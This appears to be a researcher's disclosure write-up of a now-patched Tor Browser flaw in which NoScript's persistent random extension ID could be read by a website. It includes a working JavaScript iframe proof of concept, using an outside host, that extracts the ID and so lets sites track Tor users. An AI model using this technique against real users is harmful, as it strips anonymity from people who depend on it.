“Tor Browser aims to make all users look the same, making it difficult for you to be fingerprinted based on your browser and device information.”

NoScript is installed by default and cant be removed. Other browser extensions are discouraged since there normally fingerprintable https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/41581#note_2949932

On the first install of the Tor browser, NoScript gets assigned a random extension ID that never changes. Because of this Firefox bug: https://bugzilla.mozilla.org/show_bug.cgi?id=1372288

This is different to the chromium way of using a universal extension ID for manifest v2 which while did allow detecting if an extension was installed there was no random extension/user ID generated. Manifest v3 does have a use_dynamic_url feature that claims to be “per session and regenerated on browser restart or extension reload”

If the user increases there browser security level to “Safer” or in the NoScript settings page disables the media toggle this ID would be shared to an attacker controlled website using the following PoC:

// Just a blank video
f = document.createElement('iframe')
f.hidden = true;
f.src = 'https://terjanq.me/xss.php?ct=video/mp4';

payload = `
let x = setInterval(() => {
 try {
  parent[0].document.links[0].style.opacity = 1;
  let link = parent[0].document.head.getElementsByTagName('link')[0];
  if (link && link.href) {
   let origin = new URL(link.href).hostname;
   alert('User ID: ' + origin);
 } catch {}
}, 10);

setTimeout(() => {
    f2 = document.createElement('iframe');
    f2.hidden = true;
    // runs code same-origin as video
    f2.src = 'https://terjanq.me/xss.php?js=' + encodeURIComponent(payload);
}, 100);

This leak can be found at: https://github.com/hackademix/nscl/blob/ef1ecbea27e39e255d988a8fb0233ab53c46e57c/content/PlaceHolder.js#L34

It was fixed in version 11.4.28 by calling tabs.insertCSS instead of referencing the css file with runtime.getURL

NoScript: https://github.com/hackademix/noscript/commit/1754429ea1bc458f802c4e4f49f8e8e4ab15f403
NSCL: https://github.com/hackademix/nscl/commit/4c94bf24f117277f5c00878005d91d0d7aaa18e4 Tor

Was it awarded?

No because it was reported directly but may have been under “Low ($100 - $1000)” https://hackerone.com/torproject?type=team